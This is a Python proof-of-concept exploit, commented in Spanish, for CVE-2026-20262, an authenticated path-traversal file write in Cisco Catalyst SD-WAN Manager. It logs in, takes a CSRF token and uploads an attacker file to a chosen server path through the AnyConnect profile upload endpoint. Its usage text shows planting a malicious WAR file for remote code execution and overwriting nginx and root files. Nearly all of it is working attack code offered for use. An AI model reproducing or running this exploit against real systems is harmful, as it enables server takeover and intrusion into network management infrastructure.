1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
| #!/usr/bin/env python3
"""
CVE-2026-20262 - Cisco Catalyst SD-WAN Manager Arbitrary File Write
Path Traversal Vulnerability (CWE-22) - Authenticated Remote File Write
Uso: python3 cve_2026_20262_poc.py <target_url> <username> <password> <local_file> <remote_path>
Ejemplo: python3 cve_2026_20262_poc.py https://vmanage.example.com admin password evil.war ../../../../var/lib/wildfly/standalone/deployments/evil.war
"""
import requests
import argparse
import sys
import re
from urllib.parse import urljoin
from requests.packages.urllib3.exceptions import InsecureRequestWarning
# Deshabilitar warnings SSL
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
class CVE_2026_20262_Exploit:
"""
Exploit para CVE-2026-20262 en Cisco Catalyst SD-WAN Manager
Permite a un atacante autenticado escribir archivos arbitrarios mediante path traversal
"""
def __init__(self, target_url, username, password, verify_ssl=False):
self.target_url = target_url.rstrip('/')
self.session = requests.Session()
self.session.verify = verify_ssl
self.session.headers.update({
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
})
self.username = username
self.password = password
self.token = None
self.cookie = None
def login(self):
"""
Autenticación en Cisco Catalyst SD-WAN Manager (vManage)
Obtiene el token de sesión y cookie necesarios para las peticiones API
"""
print(f"[*] Autenticando en {self.target_url} con usuario: {self.username}")
login_url = urljoin(self.target_url, '/j_security_check')
# Credenciales para el formulario de login
login_data = {
'j_username': self.username,
'j_password': self.password
}
try:
# Realizar login
resp = self.session.post(login_url, data=login_data, allow_redirects=True)
if resp.status_code == 200:
# Extraer token CSRF y cookie de sesión
match = re.search(r'"token":"([^"]+)"', resp.text)
if match:
self.token = match.group(1)
print(f"[+] Token CSRF obtenido: {self.token[:20]}...")
# Verificar si el login fue exitoso
if 'XSRF-TOKEN' in self.session.cookies:
print("[+] Autenticación exitosa")
return True
else:
print("[-] No se pudo obtener el token de sesión")
return False
else:
print(f"[-] Error de autenticación: {resp.status_code}")
return False
except requests.exceptions.RequestException as e:
print(f"[-] Error de conexión: {e}")
return False
def exploit(self, local_file_path, remote_path):
"""
Explota la vulnerabilidad de path traversal para escribir archivos arbitrarios
La vulnerabilidad reside en el endpoint de carga de perfiles de AnyConnect:
/dataservice/settings/sdra/anyconnect/profile?action=upload
El parámetro 'filename' no está sanitizado y permite path traversal.
"""
print(f"[*] Intentando subir archivo a: {remote_path}")
# Leer archivo local
try:
with open(local_file_path, 'rb') as f:
file_content = f.read()
except FileNotFoundError:
print(f"[-] Archivo local no encontrado: {local_file_path}")
return False
except Exception as e:
print(f"[-] Error leyendo archivo: {e}")
return False
# Endpoint vulnerable (según advisory de Cisco y evidencias de IOCs)
# El handler SdraAnyConnectFileUploadHandler permite path traversal
upload_url = urljoin(self.target_url, '/dataservice/settings/sdra/anyconnect/profile')
# Headers necesarios para la petición autenticada
headers = {
'Content-Type': 'multipart/form-data; boundary=----WebKitFormBoundary',
'Accept': 'application/json',
'X-XSRF-TOKEN': self.token,
'Cookie': f'XSRF-TOKEN={self.token}'
}
# Construir multipart form data con path traversal en filename
boundary = '----WebKitFormBoundary'
form_data = (
f'--{boundary}\r\n'
f'Content-Disposition: form-data; name="profile"; filename="{remote_path}"\r\n'
f'Content-Type: application/octet-stream\r\n\r\n'
)
form_data = form_data.encode() + file_content + f'\r\n--{boundary}--\r\n'.encode()
try:
resp = self.session.post(
upload_url,
data=form_data,
headers=headers,
verify=False
)
print(f"[+] Petición enviada (código: {resp.status_code})")
# Verificar si el archivo fue creado correctamente
# El IOC en vmanage-server.log mostrará:
# uploaded Remote Access Anyconnect profile file: ../../../../var/lib/wildfly/standalone/deployments/suspicious.war
if resp.status_code in [200, 201, 204]:
print(f"[+] Archivo escrito exitosamente en: {remote_path}")
print(f"[*] Respuesta del servidor: {resp.text[:200]}")
return True
else:
print(f"[-] Fallo al escribir archivo. Código: {resp.status_code}")
return False
except requests.exceptions.RequestException as e:
print(f"[-] Error de conexión: {e}")
return False
def verify_file_exists(self, remote_path):
"""
Verifica si el archivo fue escrito correctamente intentando accederlo
Nota: Esto puede generar logs adicionales y depende de permisos de lectura
"""
verify_url = urljoin(self.target_url, f'/dataservice/file/read?path={remote_path}')
try:
resp = self.session.get(verify_url)
if resp.status_code == 200:
print(f"[+] Archivo existe en: {remote_path}")
return True
else:
print(f"[-] Archivo no accesible o no existe: {resp.status_code}")
return False
except Exception:
return False
def main():
parser = argparse.ArgumentParser(
description='CVE-2026-20262 - Cisco Catalyst SD-WAN Manager Arbitrary File Write',
epilog='''
Ejemplos de uso:
Subir un archivo WAR malicioso a WildFly para RCE:
python3 %(prog)s https://vmanage.example.com admin password evil.war ../../../../var/lib/wildfly/standalone/deployments/evil.war
Sobrescribir archivo de configuración:
python3 %(prog)s https://vmanage.example.com admin password evil.conf ../../../../etc/nginx/conf.d/evil.conf
Escribir en directorio de inicio:
python3 %(prog)s https://vmanage.example.com admin password evil.sh ../../../../root/evil.sh
Advertencia: El archivo debe existir localmente. La ruta remota debe ser absoluta o relativa.
''',
formatter_class=argparse.RawDescriptionHelpFormatter
)
parser.add_argument('target', help='URL del objetivo (ej: https://vmanage.example.com)')
parser.add_argument('username', help='Nombre de usuario con permisos de escritura')
parser.add_argument('password', help='Contraseña del usuario')
parser.add_argument('local_file', help='Ruta al archivo local a subir')
parser.add_argument('remote_path', help='Ruta remota donde escribir el archivo (con path traversal)')
parser.add_argument('--verify', action='store_true', help='Verificar si el archivo fue escrito correctamente')
args = parser.parse_args()
print("=" * 70)
print("CVE-2026-20262 - Cisco Catalyst SD-WAN Manager Arbitrary File Write")
print("=" * 70)
print(f"Objetivo: {args.target}")
print(f"Usuario: {args.username}")
print(f"Archivo local: {args.local_file}")
print(f"Ruta remota: {args.remote_path}")
print("=" * 70)
exploit = CVE_2026_20262_Exploit(args.target, args.username, args.password)
# Paso 1: Autenticación
if not exploit.login():
print("[-] Falló la autenticación. Verificar credenciales.")
sys.exit(1)
# Paso 2: Ejecutar exploit
print("\n[*] Ejecutando exploit...")
success = exploit.exploit(args.local_file, args.remote_path)
if success:
print("\n[+] ¡Exploit ejecutado exitosamente!")
print("[!] Revisar logs para confirmar:")
print(" - /var/log/nms/vmanage-server.log")
print(" - /var/log/nms/vmanage-appserver.log")
if args.verify:
exploit.verify_file_exists(args.remote_path)
print("\n[!] Si se subió un archivo WAR, verificar despliegue en:")
print(f" {args.target}/evil/index.jsp")
else:
print("\n[-] El exploit pudo no haber funcionado.")
print("[*] Verificar:")
print(" 1. Credenciales válidas con permisos de escritura")
print(" 2. El endpoint de carga está accesible")
print(" 3. La versión de Cisco Catalyst SD-WAN Manager es vulnerable")
sys.exit(1)
if __name__ == "__main__":
main()
|